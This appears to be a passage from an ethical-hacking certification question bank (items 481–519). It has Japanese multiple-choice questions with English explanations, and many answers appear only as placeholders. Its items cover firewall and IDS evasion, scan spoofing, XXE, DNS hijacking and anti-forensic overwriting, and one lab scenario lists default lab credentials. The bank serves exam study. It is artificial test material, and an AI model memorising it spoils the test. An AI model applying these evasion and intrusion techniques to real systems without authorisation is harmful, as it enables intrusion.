Behavioral analytics establishes a baseline of normal system communication patterns and highlights deviations in external interactions, enabling rapid identification of suspicious data transfers or command-and-control activity while directly mitigating risks from unsanctioned exchanges.

質問: **481**
データ漏洩とは何ですか？
A. 抽出
B. 削除
C. 暗号化
D. 汚職
正解: **(**正解を表示します**)**
Data exfiltration is the unauthorized extraction or transfer of sensitive data from a system, network, or organization to an external location controlled by an attacker.

質問: **482**

テキサス州オースティン。倫理ハッカーのリアム・カーターは、ローン・スター・ヘルスケアに雇われ、患者データネットワークの防御を調査する任務を負います。侵入テストにおいて、リアムは医療記録サーバーを保護する病院のファイアウォールを回避しようと試みます。そのために、彼はツールを用いてカスタムネットワークパケットを作成し、ファイアウォールのフィルタリングルールをすり抜けるようヘッダーを巧みに設計します。彼の目標は、攻撃者がどのようにしてシステムに侵入し、セキュリティチームが対処すべき脆弱性を露呈させるかを示すことです。
侵入テスト中に、Liam は Lone Star Healthcare のファイアウォールを回避するためにどのツールを使用していますか?
A. メタスプロイト
B. Colasoft パケットビルダー
C. Nmap
D. トラフィックIQプロフェッショナル
正解: **(**正解を表示します**)**
The task involves crafting custom network packets with specific headers to evade firewall filtering.
Colasoft Packet Builder is designed for creating and sending customized packets, making it suitable for testing firewall evasion techniques.

質問: **483**
老舗テクノロジー企業のサイバーセキュリティアナリストとして働くマリアは、重要な任務を任される。大手競合他社のオンライン環境を徹底的に調査し、そのデジタル戦略をより深く理解するよう指示されたのだ。しかし、潜在的な法的問題を回避するため、競合他社のシステムに直接アクセスしたり、自身の活動を相手に知られたりすることなく、できる限り多くの関連情報を収集することが課題となる。
こうした制約と彼女の任務の機密性を考慮すると、マリアが任務遂行において最も不適切で、潜在的にリスクが高いツールや方法はどれでしょうか？
A. 競合他社の公開IPアドレスに対して集中的なポートスキャンを実行し、その内部ネットワークとサーバー構造に関する情報を取得します。
B. Wayback Machineを活用して過去に遡り、競合他社のウェブサイトのアーカイブ版を閲覧して、時間の経過に伴う変化を研究する。
C. 競合他社が最近特許を取得した技術やイノベーションについて、特許データベースや公開記録を綿密に調査し、競合他社の将来の動きを予測する。
D. オンラインフォーラム、掲示板、ソーシャルメディアの議論を調査し、競合他社の製品、顧客からのフィードバック、潜在的なビジネス戦略に関する洞察を収集します。
正解: **(**正解を表示します**)**
Running an intensive port scan actively interacts with the competitor's systems, can trigger intrusion detection alerts, and may have legal implications, making it inappropriate for passive reconnaissance that must remain non-intrusive and stealthy.

質問: **484**
あなたは地元のテクノロジー企業でITインターンとして働き始めたばかりです。その企業はサイバーセキュリティを重視しており、セキュリティ体制を維持するために定期的に倫理的ハッカーを採用しています。あなた

は社内文書で 「ブラックボックステスト」という用語を目にします。その意味がよく分からなかったので、上司に尋ねることにしました。上司は、それはサイバーセキュリティにおけるテストの一種だと説明しました。倫理的ハッキングの文脈において、「ブラックボックステスト」とは具体的にどのようなものなのでしょうか？
A. これは、倫理的ハッカーがシステムに関する事前の知識を一切持たずにシステムに侵入しようとする行為です。
B. これは、倫理的ハッカーがテスト対象システムを完全に理解した上で行うテストを指します。
C. これは、倫理的ハッカーがシステムの入力と出力のみを知っているテストを指します。
D. これは、倫理的ハッカーが公開されている情報のみを使用してシステムをテストすることを含みます。
正解: **(**正解を表示します**)**
Black box testing simulates a real-world attack scenario where the ethical hacker has no prior knowledge of the system's internal architecture, configurations, or defenses and attempts to identify vulnerabilities purely from an external attacker's perspective.

質問: **485**
クラウドセキュリティエンジニアのアニーは、開発中のアプリケーションでクライアント/サーバーモデルを採用するためにDockerアーキテクチャを使用しています。彼女は、APIリクエストを処理し、コンテナ、ボリューム、イメージ、ネットワークなどのさまざまなDockerオブジェクトを扱えるコンポーネントを利用しています。上記のシナリオでアニーが使用しているDockerアーキテクチャのコンポーネントは何ですか？
A. Dockerクライアント
B. Dockerオブジェクト
C. Dockerデーモン
D. Dockerレジストリ
正解: **(**正解を表示します**)**

質問: **486**
クラークは才能あるプログラマーであり、有名なアプリケーションに脆弱性を発見した。彼は倫理的な問題など気にせず、この未知の脆弱性を悪用できるエクスプロイトを開発した。
この情報に基づくと、次のうちどれが最も正しいでしょうか？
A. クラークは米国法典第1027条に違反した。
B. クラークはゼロデイ脆弱性を開発しました。
C. クラークは自殺ハッカーです。
D. クラークはホワイトハットハッカーです。
正解: **(**正解を表示します**)**
A zero-day is an exploit or attack that targets a previously unknown vulnerability before the vendor or public is aware of it or has released a fix. Since Clark created an exploit for an unknown vulnerability, he has developed a zero-day exploit.

質問: **487**
空欄を埋める
シナリオ

説明書
あなたは、情報セキュリティ分野における高度な研究開発を行うITおよびITES企業であるCEHORGのレッドチームの一員として採用されました。CEHORGは全国にオフィスを構え、ネットワークインフラによってリアルタイムで接続されています。
貴社はサイバーセキュリティインシデントの増加を懸念しており、貴社にインフラ全体に対する包括的なセキュリティ監査を委託しました。
CEHORGの社内ネットワークは、他の大規模組織と同様に、複数のサブネットで構成され、それぞれに様々な組織単位が収容されています。フロントオフィスは、顧客向けコンピュータに接続する別のサブネットに接続されています。同社は、顧客が製品やサービスを理解しやすいように、複数のキオスク端末を設置しています。また、スマートフォンやノートパソコンを持ち歩くユーザーのために、フロントオフィスにはWi-Fi接続環境も整備されています。
CEHORGの内部ネットワークは、軍事区域と非軍事区域で構成されています。セキュリティ対策として、また設計上、すべての内部リソース区域には異なるサブネットIPアドレスが設定されています。
軍事区域には、様々な部署にアプリケーションフレームワークを提供するアプリケーションサーバーが設置されています。非軍事区域には、ウェブサーバーやメールサーバーなど、組織の外部向けシステムが設置されています。本部のネットワークトポロジーとプロトコルは、本部との効率的な通信を確保するため、世界中のすべての支社に複製されています。
説明
CEH Practical試験では、C|EHプログラムで扱われる倫理的ハッキングの領域に基づいた20の課題が出題されます。試験では、それぞれに脆弱性のあるアプリケーションとサービスを含む複数の隠しマシンが用意されています。受験者は、さまざまな倫理的ハッキングの領域における知識とスキルを応用して、これらの課題を解決する必要があります。試験時間は6時間です。CEH Practicalの各課題は10ポイントで、CEH(Practical)資格を取得するには、20の課題のうち最低14の課題を解決し、合計140ポイントを獲得する必要があります。
サイバーレンジでは、Ethical Hacker Workstation、EH Workstation - 1、およびEH Workstation - 2にアクセスできます。EH Workstation - 1はParrot Securityマシンで、EH Workstation - 2はEthical Hacker Workstation - 1とEH Workstation - 2です。
- 2はWindows 11マシンです。これらのマシンは 『リソース」タブから切り替えることができます。
各チャレンジにつき、最大3回まで挑戦できることにご注意ください。
利用可能なターゲットネットワーク:
10.10.55.0/24
192.168.44.0/24
192.168.200.0/24
除外事項：
10.10.55.1、10.10.55.2
192.168.44.1、192.168.44.2
192.168.200.1、192.168.200.2
EHワークステーション-1 (Parrot Security)マシンにアクセスするための認証情報は以下のとおりです。
ユーザー名: attacker パスワード: toor
EH Workstation - 2 (Windows 11) にアクセスするための認証情報は以下のとおりです。

ユーザー名: Admin パスワード: Pa$$w0rd
EHワークステーション1(Parrot Security)マシン上のOpenVASにアクセスするための認証情報は以下のとおりです。
ユーザー名: admin パスワード: password
OpenVASツールを開くには、デスクトップウィンドウ上部の「アプリケーション」をクリックし、「ペネトレーションテスト」→ 脆弱性分析」→ 「OpenVAS - Greenbone」→ 「Greenbone脆弱性マネージャーサービスの開始」の順に移動してOpenVASツールを起動します。
注 :EHワークステーション-1 (Parrot Security)マシンのデスクトップにあるusername.txtとpassword.txtは、認証情報/パスワードのクラッキング試行に使用できます。
旗
チャレンジ :
反体制的な元従業員マーティンは、機密ファイルをフォルダーに隠しており、
10.10.55.0/24 サブネット内の Windows マシン上の 「Honeywell」。ターゲット マシンへの物理的なアクセスは不可能ですが、リモート管理用のリモート アクセス ツール (RAT) がインストールされていることがわかっています。タスクは、その中に含まれるファイルの数を特定することです。
「Honeywell」フォルダを開き、従業員がアクセスしたファイルの総数を回答として記入してください。
(形式 :N)
正解:
8

質問: **488**
あなたはHarborLine Assessmentsの倫理的ハッカーで、ワシントン州タコマにあるPortside FreightのWi-Fi監査を担当しています。夜間の偵察中に、無線インターフェースのモニターモードを有効にし、近くのAPとクライアントからのビーコンフレーム、プローブ応答、認証フレームをキャプチャファイルに静かに記録するコマンドを実行して、後でオフラインで分析します。ラップトップからフレームを送信することはありません。上記のアクティビティに基づいて、あなたが最も使用している可能性が高いWi-Fiセキュリティ監査ツールはどれですか？
A. 空軍基地
B. エアプレイ
C. Airodump-ng
D. エアクラッキング
正解: **C** (コメントを発表する)
Capturing wireless traffic passively in monitor mode, including beacon frames and probe responses, for offline analysis is the core functionality of Airodump-ng, which is designed for passive Wi-Fi reconnaissance.

質問: **489**
外部評価の際、セキュリティアナリストはNmapを設定し、ファイアウォールログに記録されるハードウェアアドレスが、スキャンシステムの元のインターフェースアドレスと異なるようにします。スキャンを繰り返し実行すると、記録されるハードウェアアドレスが毎回自動的に変化することが確認できます。

この動作を可能にするNmapのオプションは何ですか？
A. --spoof-mac 0
B. --spoof-mac Dell
C. --spoof-mac 00:01:02:25:56:AE
D. --spoof-mac Dell 10.10.1.11
正解: **(**正解を表示します**)**
The option --spoof-mac 0 enables automatic randomization of the MAC address on each scan execution. This causes Nmap to generate a different spoofed hardware address each time the tool runs, which results in changing MAC values appearing in firewall or network logs across repeated scans.

質問: **490**
あなたは学校のウェブサーバーのセキュリティを確保する責任を負っています。そのための第一歩として、サーバー上で実行されている不要なサービスを制限する計画を立てています。ウェブサーバーのセキュリティという観点から、この措置が重要視される理由は何ですか？
A. 不要なサービスはサーバーのメモリを消費します。メモリリソースを節約しましょう。
B. 不要なサービスはサーバーソフトウェアを公開し、ソフトウェアの詳細を非表示にします。
C. 不要なサービスがサーバーの速度を低下させています。サーバー速度を最適化してください。
D. 不要なサービスには脆弱性が含まれている可能性があるため、攻撃対象領域を最小限に抑えます。
正解: **(**正解を表示します**)**

質問: **491**
マサチューセッツ州ボストンのネットワーク管理者、ダニエル・カーターは、システムパフォーマンスの低下に関するアラートを受け、大手保険会社ニューイングランド・インシュアランスのITインフラを監視しています。トラフィックパターンを確認していたダニエルは、異常な量の同時リクエストが重要なサーバーを圧倒していることに気づきます。セッションハイジャックの疑いを裏付けるため、彼はライブネットワークトラフィックのキャプチャと解析を開始し、不正なセッション挙動を特定してからセキュリティチームにエスカレーションします。
このシナリオでセッションハイジャック攻撃を確認するために、ダニエルはどのような検出方法を使用する必要がありますか?
A. 侵入検知システム(IDS)を使用する
B. 予測可能なセッショントークンをチェックする
C. ACKストームを監視する
D. パケットスニッフィングツールを使用して手動でパケット分析を実行する
正解: **D (**コメントを発表する**)**
To confirm session hijacking, analyzing live network traffic is required to observe session tokens, sequence numbers, and anomalies in session behavior. Manual packet analysis using sniffing tools allows direct inspection of captured packets to identify unauthorized session takeover indicators.

質問: **492**

ネットワークアクティビティが低いゾンビシステムとそのフラグメント識別番号を利用するファイアウォール回避スキャン技術とは？
A. アイドルスキャン
B. 偽装送信元アドレスのスキャン
C. パケット断片化スキャン
D. デコイスキャン
正解: **(**正解を表示します**)**

質問: **493**
ウェブ開発者のギルバートは、データの更新と変更の複雑さを軽減し、整合性を高めるために、集中型ウェブAPIを使用しています。この目的のために、彼はPUT、POST、GET、DELETEなどのHTTPメソッドを使用するウェブサービスを利用し、アプリケーション全体のパフォーマンス、可視性、拡張性、信頼性、移植性を向上させています。上記のシナリオで言及されているウェブサービスAPIの種類は何ですか？
A. RESTful API
B. REST API
C. SOAP API
D. JSON-RPC
正解: **(**正解を表示します**)**

質問: **494**
SMBリレー攻撃とは何ですか？
A. DoS
B. なりすまし
C. MITM
D. リプレイ
正解: **C (**コメントを発表する**)**
An SMB relay attack intercepts and forwards SMB authentication traffic between a victim and a target system, functioning as a man-in-the-middle attack to gain unauthorized access.

質問: **495**
テキサス州ダラスにある地域密着型のeコマース企業は、製品カタログやプロモーションキャンペーンを管理するためにApacheベースのWebサーバーを運用している。セキュリティコンサルタントは、承認された評価の中で、製品共有リンクに埋め込まれたリファラルパラメータがプラットフォームでどのように処理されるかを分析した。傍受プロキシを介して応答をレビューしている際に、リファラルパラメータで提供された値がブラウザに返されるメタデータに組み込まれていることに気づいた。
パラメータに巧妙に細工された区切り文字を挿入することで、サーバーの送信応答の構造が予期せぬ形で変化することに彼は気づきました。さらにテストを行った結果、操作された入力によって、本来単一のトランザクションであるはずのものが、論理的に異なる複数の応答セグメントを生成することが判明しました。細工されたリンクに標準ブラウザでアクセスすると、クライアントは挿入された部分を別の指示として解釈し、結果と

して攻撃者が制御した入力に影響されたリダイレクト動作が発生します。このシナリオで実証されているWebサーバー攻撃手法を特定してください。
A. フロントジャッキング攻撃
B. HTTPレスポンス分割攻撃
C. ディレクトリトラバーサル攻撃
D. ウェブキャッシュポイズニング攻撃
正解: **(**正解を表示します**)**
The injected delimiter characters modify how the server constructs HTTP headers, causing the response to be split into multiple segments. This allows attacker-controlled input to create a second response interpreted by the browser, leading to behaviors such as redirection, which is characteristic of an HTTP response-splitting attack.

質問: **496**
脆弱性スキャナーがネットワークをスキャンする際、最初に行う手順は何ですか？
A. リモートホストが稼働しているかどうかを確認します
B. OS検出
C. TCP/UDPポートスキャン
D. ファイアウォール検出
正解: **(**正解を表示します**)**

質問: **497**
ニュージャージー州ニューアークにある金融決済機関が、エンタープライズサーバー全体にわたる構造化された脆弱性レビューを開始しました。スキャンプラットフォームは、各ターゲットマシンにインストールされているアップデート、ローカルセキュリティ構成、およびシステムポリシー設定に関する詳細な情報を収集するように構成されました。結果として得られたレポートには、構成の不整合やパッチのギャップなど、システムレベルの直接検査が必要となる詳細なホストレベルの調査結果が含まれていました。上記の活動に基づくと、どのような種類の脆弱性スキャンが実行されていると考えられますか？
A. 認証スキャン
B. アプリケーションスキャン
C. 自動スキャン
D. 認証不要のスキャン
正解: **(**正解を表示します**)**

The scan retrieves detailed host-level information such as installed patches, local configurations, and security policies, which requires authenticated access to the systems. This level of visibility is only possible with credentialed scanning.

質問: **498**
医療機関において、ネットワークセキュリティチームが異常なネットワーク活動を検知し、潜在的な攻撃者が高度なスニッフィング技術を使用している可能性を示唆しました。調査の結果、攻撃者は医療画像プロトコルの脆弱性を悪用して患者データを傍受していることが判明しました。セキュリティチームは、使用されている具体的なスニッフィング技術を特定し、患者のプライバシーを保護するための対策を講じる必要があります。
このシナリオにおいて、セキュリティチームにとって最も大きな課題となり、患者データのセキュリティを侵害する可能性のある高度なスニッフィング技術はどれでしょうか？
A. 超音波診断装置のソフトウェアに悪意のあるコードを注入し、患者の記録を盗み出す。
B. 病院の管理メッセージ内に秘密のチャネルを作成し、データを持ち出す。
C. 放射線レポートのフォーマットを操作して、CTスキャン画像内に患者データを埋め込む。
D. MRI装置のファームウェアの脆弱性を悪用して、患者のリアルタイムスキャンを傍受する。
正解: **(**正解を表示します**)**
A covert channel hides intercepted data within legitimate-looking communications, making the sniffing activity extremely difficult to detect. By embedding patient data inside normal hospital administrative message flows, the attacker can silently exfiltrate sensitive information while evading traditional monitoring and privacy safeguards.

質問: **499**
クラウドホスト型小売アプリケーションに対する偵察フェーズをシミュレーションしながら、チームはインフラストラクチャをマッピングするためにDNSレコードを収集しようとします。サブドメインへのブルートフォース攻撃は避け、ドメインのメールサーバー、権威ネームサーバー、シリアル番号や更新間隔といった潜在的な管理情報といった具体的な詳細情報の収集を目指します。
これらの目標を考慮すると、ターゲット ゾーンに関する管理メタデータと技術メタデータの両方を抽出するには、どの DNS レコード タイプをクエリする必要がありますか?
A. MX
B. SOA
C. テキスト
D. NS
正解: **B (**コメントを発表する**)**
The SOA (Start of Authority) record contains administrative and technical details about the DNS zone, including the primary name server, contact information, serial number, refresh interval, and other configuration parameters.

質問: **500**
組織の従業員であるジョージは、会社のコンピュータから制限されたウェブサイトにアクセスしようとしています。この目的のために、彼は自分の実際のIPアドレスを隠蔽し、すべてのオンライン活動において完全かつ

継続的な匿名性を確保する匿名化ツールを使用しました。ジョージが自分の活動を隠すのに役立つ匿名化ツールは次のうちどれですか？
A. https://www.wolframalpha.com
B. https://www.guardster.com
C. https://karmadecay.com
D. https://www.baidu.com
正解: **(**正解を表示します**)**

質問: **501**
ある多国籍企業が、社内無線インフラのセキュリティ強化を実施している。現在のWPA2-Personal構成は共有パスフレーズに依存しているが、ITチームは数百台の従業員デバイス間でパスフレーズを安全にローテーションおよび管理することが困難だと感じている。
セキュリティと拡張性を向上させるため、組織はWPA2-Enterpriseへの移行を決定しました。新しい設定では、ユーザー認証の一元管理、証明書ベースの本人確認のサポート、認証された各クライアントに固有のセッション暗号化キーを割り当ててキーの再利用を防ぎ、潜在的な侵害の影響範囲を限定することが求められます。WPA2-Enterprise環境で、セッションごとに固有のキーを生成する一元化された証明書ベースの認証を有効にするために不可欠なコンポーネントはどれですか？
A. 一時的鍵完全性プロトコル(TKIP)
B. 機会的無線暗号化(OWE)
C. 事前共有鍵(PSK)
D. 拡張認証プロトコル(EAP)を備えたRADIUS
正解: **(**正解を表示します**)**
WPA2-Enterprise uses a RADIUS server combined with EAP methods to provide centralized authentication. This setup supports certificate-based verification and generates unique session keys for each client, enhancing security and preventing key reuse.

質問: **502**
ITセキュリティチームは、組織内のセキュリティプロトコルに関する内部レビューを実施し、潜在的な脆弱性を特定しようとしています。調査中に、複数のコンピュータで実行されている不審なプログラムを発見しました。さらに調査を進めた結果、そのプログラムがユーザーのすべてのキー入力を記録していることが判明しました。セキュリティチームは、このプログラムの種類をどのように確認し、今後同様の攻撃が発生しないようにどのような対策を講じるべきでしょうか？
A. このプログラムはトロイの木馬です。チームは定期的にウイルス対策ソフトウェアを更新し、信頼できるファイアウォールをインストールする必要があります。
B. このプログラムはスパイウェアです。チームはパスワードマネージャーを使用し、機密データを暗号化する必要があります。
C. このプログラムはキーロガーです。チームは侵入検知システムを導入し、システムソフトウェアを定期的に更新する必要があります。
D. このプログラムはキーロガーです。チームは従業員にフィッシング攻撃について教育し、定期的なバックアップを維持する必要があります。

正解: (正解を表示します)

質問: **503**
サンフランシスコでのセキュリティ評価において、倫理的なハッカーは、ステルス的な偵察行為に対するネットワークの耐性を評価するという任務を負っています。ハッカーは、侵入検知システムによる検知を回避するためにTCPフラグを活用したスキャン手法を用いる必要があります。標的の応答挙動からポート状態を推測し、完全な接続を確立することなく、この戦略に最も適したアプローチはどれでしょうか？
A. TCP接続スキャン
B. ネットワークスキャン
C. FINスキャン
D. NULLスキャン
正解: (正解を表示します)
This technique uses specific TCP flags to avoid completing the standard three-way handshake, making it stealthier and less likely to be logged. A FIN scan sends packets with the FIN flag set and relies on the target's response behavior to determine port states without establishing a full connection.

質問: **504**
ミシガン州デトロイトにある製造会社の外部セキュリティレビューにおいて、ログインやフルセッションの確立を行わずに、インターネットに接続されたサーバーのパッチベースラインの優先順位付けを行うよう求められました。これを実現するために、ネットワークレベルの応答を分析し、アプリケーションの出力を取得して、基盤となるシステムとそのソフトウェアリリースを特定します。この目的に最も適した手法はどれでしょうか？
A. サービスバージョンの検出
B. 脆弱性スキャン
C. ポートスキャン
D. OS検出
正解: (正解を表示します)
Service version discovery identifies the specific software and version running on networked services by analyzing responses, enabling prioritization of patching without needing full authentication or session access.

質問: **505**
DNSサーバーが同じドメインに対して異なるIPアドレスを迅速に応答し、常に変化するホストを指し示します。これはどのような技術を使用しているのでしょうか？
A. DNSトンネリング
B. DNSポイズニング
C. 高速フラックス
D. ゾーン転送
正解: (正解を表示します)
Fast flux rapidly changes the IP addresses associated with a domain name to hide malicious infrastructure and improve resilience against detection and takedown efforts.

質問: **506**
セキュリティ専門家であるテイラーは、自社ウェブサイトを監視し、ウェブサイトのトラフィックを分析し、ウェブサイトを訪問したユーザーの地理的な位置を追跡するためにツールを使用している。
上記のシナリオにおいて、テイラーは以下のどのツールを使用しましたか？
A. WAFW00F
B. Web統計
C. WebSite-Watcher
D. Webroot
正解: **(**正解を表示します**)**

質問: **507**
サンフランシスコの金融機関で、攻撃者が顧客のアカウント認証情報を盗み出すマルウェアを仕込んだというハッキング被害が発生しました。盗み出されたデータは、アンダーグラウンドフォーラムで営利目的で販売されました。政治的または社会的な発言は一切なく、攻撃者は匿名のまま、同様の組織を標的に金銭的利益を得ようとしています。この活動から判断すると、どのカテゴリーのハッカーが関与している可能性が高いでしょうか？
A. ブラックハットハッカー
B. ハクティビスト
C. スクリプトキディ
D. ホワイトハットハッカー
正解: **(**正解を表示します**)**
The attackers act for personal financial gain, remain anonymous, and use malware to steal credentials without authorization, which characterizes black hat hackers.

質問: **508**
SkySecure Inc.のセキュリティアナリストとして、あなたは複数のクラウドプロバイダーのサービスを利用するマルチクラウド戦略を採用しているクライアントを担当しています。クライアントは、すべてのクラウドプラットフォームで統一されたセキュリティ管理を提供するシステムの導入を希望しています。彼らは、セキュリティポリシーを一貫して適用し、脅威を特定して対応し、すべてのクラウド リソースの可視性を維持できるソリューションを必要としています。以下のうち、最適なソリューションとして推奨すべきものはどれですか？
A. クラウドプラットフォームごとに個別のセキュリティ管理ツールを導入する。
B. ハードウェアベースのファイアウォールを使用して、すべてのクラウド リソースを保護します。
C. クラウドアクセスセキュリティブローカー(CASB)を使用します。
D. 各クラウドプラットフォームに組み込まれているセキュリティ機能を利用する。
正解: **(**正解を表示します**)**

質問: **509**

ノースカロライナ州の活気あふれる金融街シャーロットで、倫理的ハッカーのラージ・パテルは、米国の地方銀行であるトラストバンクから、オンライン融資申請ポータルの評価を依頼される。2025年4月22日、ラージは顧客が融資処理のために構造化された財務書類をアップロードできる機能をテストする。特別に細工された書類を送信することで、彼は内部サーバーのファイルパスや、データベース接続文字列を含む機密性の高い構成データを漏洩させる応答を引き起こす。
この問題は、ポータルがドキュメント解析時に外部参照を処理する際に発生するものであり、応答の操作、認証の脆弱性、または未検出の攻撃試行に起因するものではありません。Raj は、TrustBank のセキュリティチームが脆弱性を軽減できるよう、詳細なレポートを作成します。Raj が TrustBank のオンラインローン申請ポータルで悪用している可能性が最も高い脆弱性の種類は何ですか？
A. 識別および認証の失敗
B. HTTPレスポンス分割
C. XML外部エンティティ(XXE)インジェクション
D. セキュリティレッグングと監視の失敗
正解: **(**正解を表示します**)**
The vulnerability involves submitting a crafted document that leverages external references during parsing to access internal files and sensitive configuration data. This behavior is characteristic of XML External Entity injection, where improperly configured XML parsers process external entities and expose system-level information.

質問: **510**
シカゴのファースト・ユニオン銀行での侵入テスト業務中、倫理ハッカーのレイチェル・モーガンは、顧客の機密データを侵害する可能性のあるスニッフィング活動がないか、内部ネットワークを評価する任務を負いました。融資処理部門のトラフィックを検査していたレイチェルは、あるワークステーションが自分宛ではないパケットを受信していることに気づき、スニッフィングツールがプロミスキャスモードで動作している可能性を疑いました。彼女は仮説を検証するため、従来の検出手法を用いたアクティブ検証を実施する準備をします。この場合、レイチェルはスニファーの存在を確認するためにどの検出技術を使用すべきでしょうか?
A. NSEスクリプトを使用してプロミスキャスモードをチェックするスニファー検出
B. 逆DNSルックアップトラフィックを監視するDNSメソッド
C. 非ブロードキャストARP要求を送信するARP方式
D. 誤ったMACアドレスを持つパケットを送信するping方式
正解: **(**正解を表示します**)**
Sending non-broadcast ARP requests is a classic active technique to detect systems in promiscuous mode. A machine running a sniffer may respond to ARP requests not specifically addressed to it, revealing that it is capturing and processing all network traffic rather than only frames intended for its MAC address.

質問: **511**
標的ウェブサイトのフットプリントを作成する過程で、倫理的ハッカーはさまざまなツールを使用して重要な情報を収集しました。ハッカーは、ルートディレクトリ内の特定のファイルが原因で、標準的なウェブクローラーでは効果を発揮しない標的サイトに遭遇しました。しかし、ハッカーは標的サイト上のすべてのファイル

とウェブページを発見し、ウェブサイトを手動で閲覧しながら、結果として発生する送受信トラフィックを監視することに成功しました。ハッカーはこれを実現するためにどのような手法を用いたと考えられますか？
A. Photonを使用して、archive.orgから対象ウェブサイトのアーカイブされたURLを取得します。
B. Burp SuiteやWebScarabなどのツールを使用したユーザー主導のスパイダーリング
C. Netcraftツールを使用してウェブサイト情報を収集する
D. HTMLソースコードとCookieの検査
正解: **B** (コメントを発表する)

質問: **512**
セキュリティアナリストのジョーは、デンバーにある物流会社の公開されているインフラストラクチャを調査していた際、1つのホストがUDPポート123を使用して時刻同期を行っていることを発見しました。さらに調査を進め、ピア、オフセット、遅延に関する詳細情報を抽出するクエリを発行しました。これにより、タイムサーバーに接続されている内部ホスト名とクライアントIPアドレスを収集することができました。このような情報漏洩は、会社の内部ネットワーク構造に関する洞察を与える可能性があります。この情報を取得するために最も可能性の高い手法はどれでしょうか？
A. VoIP列挙
B. NetBIOS列挙
C. NTP列挙
D. DNSゾーン転送列挙
正解: **C** (コメントを発表する)
Interacting with a host over UDP port 123 (NTP) to gather peer information, offsets, delays, and client IPs is characteristic of NTP enumeration, which can reveal internal network details.

質問: **513**
マサチューセッツ州ケンブリッジにある製薬研究所でデータ漏洩の疑いが発生したことを受け、法医学調査官は、侵害されたサーバー上の通常のディレクトリー覧から削除されていた複数の研究文書を特定した。
アナリストがこれらのファイルに関連付けられていた物理ストレージセクターを調査したところ、セクターの内容は過去の割り当て記録と一致せず、元のデータの断片も復元できなかったことが判明した。ディスク構造自体は無傷で、ストレージメディアにはハードウェアレベルの破壊の兆候は見られなかった。
このシナリオにおける攻撃者の行動を最もよく説明できるのは、どのフォレンジック対策技術でしょうか？
A. ファイルシステム構造におけるデータ隠蔽
B. データ／ファイルの削除

C. データ／メタデータの上書き
D. アーティファクト消去
正解: **(**正解を表示します**)**
The scenario describes files that previously existed but whose underlying disk sectors no longer contain recoverable remnants or match prior allocation records. This indicates that the original data was actively replaced at the storage level, which is consistent with overwriting data or metadata, a technique used to eliminate forensic recoverability by replacing original content with new data patterns.

質問: **514**
シグネチャベースのIDSを回避するのに最も効果的な手法はどれですか？
A. 難読化
B. 多型性
C. 暗号化
D. ポートスキャン
正解: **(**正解を表示します**)**
Polymorphism continually changes the appearance and signature of malicious code while preserving its functionality, making it highly effective against signature-based intrusion detection systems.

質問: **515**
マサチューセッツ州ボストンにあるNexus Tech Solutionsのセキュリティコンプライアンス監査中、倫理ハッカーチームは、ヘルプデスクの脆弱性を評価するために、制御されたソーシャルエンジニアリング演習を開始しました。倫理ハッカーのレイチェル・キムは、マーケティング部門のローラ・ベネットというストレスを抱えた従業員を装い、会社のヘルプデスクに電話をかけます。レイチェルは、ノートパソコンの動作が遅いと主張し、厳しいプロジェクトの期限に間に合うようヘルプデスクが迅速な解決策を提供してくれるなら、ログイン認証情報を提供すると申し出ます。この通話は、ヘルプデスクのスタッフが適切な認証プロトコルに従うのか、それとも支援と引き換えに認証情報を提供する申し出に騙されるのかをテストするために設計されています。
レイチェルはこの演習でどのようなソーシャルエンジニアリング手法を採用しているのでしょうか?
A. ショルダーサーフィン
B. フィッシング
C. なりすまし
D. 対価
正解: **(**正解を表示します**)**
The scenario involves offering something in exchange for sensitive information, specifically providing login credentials in return for assistance. This reflects a quid pro quo technique, where the attacker proposes a trade to manipulate the target into disclosing confidential data.

質問: **516**

レッドチームのメンバーが、Azure 関数から取得したアクセストークンを使用して Azure PowerShell で認証を行い、ストレージアカウントキーを取得します。このシナリオはどのような種類の不正利用を示していますか？
A. AzureGraphを使用したユーザーグループの列挙
B. ストームスポッターによる横方向の移動
C. 管理対象IDを悪用した不正アクセス
D. NSG規則情報の収集
正解: **(**正解を表示します**)**
This scenario demonstrates abuse of managed identities, where an access token intended for an Azure function is misused to authenticate to Azure services and retrieve sensitive resources like storage account keys without proper authorization.

質問: **517**
金融機関のオンラインインフラストラクチャに対する包括的なセキュリティ監査中に、侵入テスト担当者は、金融機関の主要ドメインに影響を与える異常なトラフィックリダイレクトパターンを検出しました。正規のウェブサイトにアクセスしようとする顧客は、疑わしいIPアドレスでホストされている、見た目が同一のフィッシングページにシームレスにリダイレクトされます。DNS解決パスを追跡した結果、テスト担当者は、権威DNSサーバーが侵害され、そのレコードが攻撃者のサーバーを指すように変更されていることを発見しました。このリダイレクトはドメインのすべてのDNSクエリに影響を与えており、ローカルキャッシュポイズニングやクライアント側の操作ではなく、名前解決インフラストラクチャに対する不正な制御を示しています。テスト担当者は、このリダイレクトがDNSゾーンレコード自体の改ざんによって行われたことを確認しました。このシナリオで使用されている手法はどれですか？
A. 正当な名前解決インフラストラクチャを改ざんすることにより、DNSサーバーハイジャックを実行します。
B. インポート機能で DNS リバインディングを実行して、ブラウザとオリジン間のやり取りを操作します。
C. 標準の DNS クエリ上で DNS トンネリングを使用して秘密通信を確立します。
D. 再帰サーバーを利用してターゲットに大量のデータを送り込むことで、DNS増幅攻撃を開始します。
正解: **A (**コメントを発表する**)**
The attacker compromised the authoritative DNS server and modified the DNS zone records to redirect all queries for the domain to a malicious server. This indicates direct control over the DNS infrastructure itself, which is characteristic of DNS server hijacking rather than cache poisoning or client-side techniques.

質問: **518**
ペンシルベニア州ピッツバーグにある製造会社で行われた脅威インテリジェンス調査により、同社のパブリックネームサーバーを標的とした外部からのクエリが繰り返し発生していることが明らかになった。侵入は発生しなかったものの、アナリストらは、これらのクエリが社内の命名規則やインフラストラクチャのパターンを体系的に把握することを目的としているように見えると指摘した。
セキュリティチームは、問題はトラフィック量の過剰ではなく、内部と外部の両方の解決に使用される同じサーバーが処理する応答を通じて内部ネームスペースの詳細が漏洩していたことだと判断しました。機密性の高い構造情報が外部システムに漏洩するリスクを軽減するため、チームはDNSの展開を再設計しました。
このシナリオで説明されているリスクに最も適切に対処できる対策はどれですか？

A. DNS送信元ポートとクエリ識別子のランダム化
B. 分割DNSアーキテクチャの実装
C. DNSサーバーにおけるレート制限の実装
D. DNSログ記録と異常検知の有効化
正解: **B** (コメントを発表する)
The issue involves internal namespace information being exposed through a DNS server that handles both internal and external resolution. A split DNS architecture separates internal and external DNS services, ensuring that internal naming details are not exposed to public-facing name servers and reducing the risk of infrastructure enumeration.

質問: **519**
